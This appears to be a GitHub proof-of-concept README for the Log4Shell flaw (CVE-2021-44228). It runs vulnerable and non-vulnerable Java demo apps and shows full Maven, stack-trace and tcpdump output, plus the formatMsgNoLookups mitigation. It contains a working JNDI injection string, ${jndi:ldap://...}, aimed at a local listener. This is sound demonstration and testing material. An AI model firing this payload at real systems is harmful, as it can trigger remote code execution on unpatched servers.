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CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source
https://github.com/datadavev/test-44228
Associated Vulnerability
Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)
Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
Description
Simple demo of CVE-2021-44228
Readme
# test-44228

A simple example for [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)

Implements two java CLIs, one using log4j v1.x, the other using log4j 2.x to demonstrate the log4shell vulnerability.

See also:

- https://www.lunasec.io/docs/blog/log4j-zero-day/
- https://www.oracle.com/security-alerts/alert-cve-2021-44228.html

## Usage

### Vulnerable Log4J2

1. Start a listener on some server (localhost or remote), e.g.:

```
$ sudo tcpdump -i any tcp port 1234
tcpdump: data link type PKTAP
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on any, link-type PKTAP (Apple DLT_PKTAP), capture size 262144 bytes
```

2. Run the vulnerable app:

```
mvn compile exec:java \
  -Dexec.mainClass="com.beehivebeach.AppL4J2" \
  -Dexec.args="'\${jndi:ldap://127.0.0.1:1234/test}'"
```

The listener will report a connection:

```
10:19:37.600368 IP localhost.56945 > localhost.search-agent: Flags [S], seq 1972103573, win 65535, options [mss 16344,nop,wscale 6,nop,nop,TS val 3783661067 ecr 0,sackOK,eol], length 0
10:19:37.600380 IP localhost.56945 > localhost.search-agent: Flags [S], seq 1972103573, win 65535, options [mss 16344,nop,wscale 6,nop,nop,TS val 3783661067 ecr 0,sackOK,eol], length 0
10:19:37.600386 IP localhost.search-agent > localhost.56945: Flags [R.], seq 0, ack 1972103574, win 0, length 0
10:19:37.600388 IP localhost.search-agent > localhost.56945: Flags [R.], seq 0, ack 1, win 0, length 0
```

and the java app will report an exception:

```
$ mvn compile exec:java \
  -Dexec.mainClass="com.beehivebeach.AppL4J2" \
  -Dexec.args="'\${jndi:ldap://127.0.0.1:1234/test}'"
[INFO] Scanning for projects...
[INFO]
[INFO] --------------------< com.beehivebeach:test-44228 >---------------------
[INFO] Building test-44228 1.0-SNAPSHOT
[INFO] --------------------------------[ jar ]---------------------------------
[INFO]
[INFO] --- maven-resources-plugin:2.6:resources (default-resources) @ test-44228 ---
[INFO] Using 'UTF-8' encoding to copy filtered resources.
[INFO] Copying 1 resource
[INFO]
[INFO] --- maven-compiler-plugin:3.1:compile (default-compile) @ test-44228 ---
[INFO] Nothing to compile - all classes are up to date
[INFO]
[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ test-44228 ---
Arguments (1) :
2021-12-11 10:19:37,602 com.beehivebeach.AppL4J2.main() WARN Error looking up JNDI resource [ldap://127.0.0.1:1234/test]. javax.naming.CommunicationException: 127.0.0.1:1234 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
	at com.sun.jndi.ldap.Connection.<init>(Connection.java:243)
	at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
	at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1615)
	at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2849)
	at com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:347)
	at com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
	at com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:202)
	at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
	at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
	at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:223)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1060)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:982)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:878)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:433)
	at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
	at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
	at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:345)
	at org.apache.logging.log4j.core.layout.PatternLayout.toText(PatternLayout.java:244)
	at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:229)
	at org.apache.logging.log4j.core.layout.PatternLayout.encode(PatternLayout.java:59)
	at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.directEncodeEvent(AbstractOutputStreamAppender.java:197)
	at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.tryAppend(AbstractOutputStreamAppender.java:190)
	at org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender.append(AbstractOutputStreamAppender.java:181)
	at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
	at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
	at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
	at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
	at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:543)
	at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:502)
	at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:485)
	at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:460)
	at org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:82)
	at org.apache.logging.log4j.core.Logger.log(Logger.java:161)
	at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2198)
	at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2152)
	at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2135)
	at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2011)
	at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)
	at org.apache.logging.log4j.spi.AbstractLogger.info(AbstractLogger.java:1320)
	at com.beehivebeach.AppL4J2.main(AppL4J2.java:35)
	at org.codehaus.mojo.exec.ExecJavaMojo$1.run(ExecJavaMojo.java:254)
	at java.lang.Thread.run(Thread.java:748)
Caused by: java.net.ConnectException: Connection refused (Connection refused)
	at java.net.PlainSocketImpl.socketConnect(Native Method)
	at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:350)
	at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:206)
	at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:188)
	at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392)
	at java.net.Socket.connect(Socket.java:607)
	at java.net.Socket.connect(Socket.java:556)
	at java.net.Socket.<init>(Socket.java:452)
	at java.net.Socket.<init>(Socket.java:229)
	at com.sun.jndi.ldap.Connection.createSocket(Connection.java:380)
	at com.sun.jndi.ldap.Connection.<init>(Connection.java:220)
	... 44 more

10:19:37.588 [com.beehivebeach.AppL4J2.main()] INFO  com.beehivebeach.AppL4J2 - 0: ${jndi:ldap://127.0.0.1:1234/test}
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  1.002 s
[INFO] Finished at: 2021-12-11T10:19:37-05:00
[INFO] ------------------------------------------------------------------------
```

3. Run with `-Dlog4j2.formatMsgNoLookups=true` to demonstrate no exteneral connection. The listener will not report a connection and the connection failed exception is not reported:

```
$ mvn compile exec:java \
  -Dexec.mainClass="com.beehivebeach.AppL4J2" \
  -Dexec.args="'\${jndi:ldap://127.0.0.1:1234/test}'" \
  -Dlog4j2.formatMsgNoLookups=true

[INFO] Scanning for projects...
[INFO]
[INFO] --------------------< com.beehivebeach:test-44228 >---------------------
[INFO] Building test-44228 1.0-SNAPSHOT
[INFO] --------------------------------[ jar ]---------------------------------
[INFO]
[INFO] --- maven-resources-plugin:2.6:resources (default-resources) @ test-44228 ---
[INFO] Using 'UTF-8' encoding to copy filtered resources.
[INFO] Copying 1 resource
[INFO]
[INFO] --- maven-compiler-plugin:3.1:compile (default-compile) @ test-44228 ---
[INFO] Nothing to compile - all classes are up to date
[INFO]
[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ test-44228 ---
Arguments (1) :
10:23:16.555 [com.beehivebeach.AppL4J2.main()] INFO  com.beehivebeach.AppL4J2 - 0: ${jndi:ldap://127.0.0.1:1234/test}
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  1.000 s
[INFO] Finished at: 2021-12-11T10:23:16-05:00
[INFO] ------------------------------------------------------------------------  
```

### Not vulnerable, Log4J v1.x

1. Start a listener as before

2. Run the log4j v1 app:

```
$ mvn compile exec:java \
  -Dexec.mainClass="com.beehivebeach.AppL4J1" \
  -Dexec.args="'\${jndi:ldap://127.0.0.1:1234/test}'"
[INFO] Scanning for projects...
[INFO]
[INFO] --------------------< com.beehivebeach:test-44228 >---------------------
[INFO] Building test-44228 1.0-SNAPSHOT
[INFO] --------------------------------[ jar ]---------------------------------
[INFO]
[INFO] --- maven-resources-plugin:2.6:resources (default-resources) @ test-44228 ---
[INFO] Using 'UTF-8' encoding to copy filtered resources.
[INFO] Copying 1 resource
[INFO]
[INFO] --- maven-compiler-plugin:3.1:compile (default-compile) @ test-44228 ---
[INFO] Nothing to compile - all classes are up to date
[INFO]
[INFO] --- exec-maven-plugin:3.0.0:java (default-cli) @ test-44228 ---
Arguments App 1 (1) :
0 [com.beehivebeach.AppL4J1.main()] INFO com.beehivebeach.AppL4J1  - 0: ${jndi:ldap://127.0.0.1:1234/test}
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time:  0.682 s
[INFO] Finished at: 2021-12-11T10:26:04-05:00
[INFO] ------------------------------------------------------------------------
```
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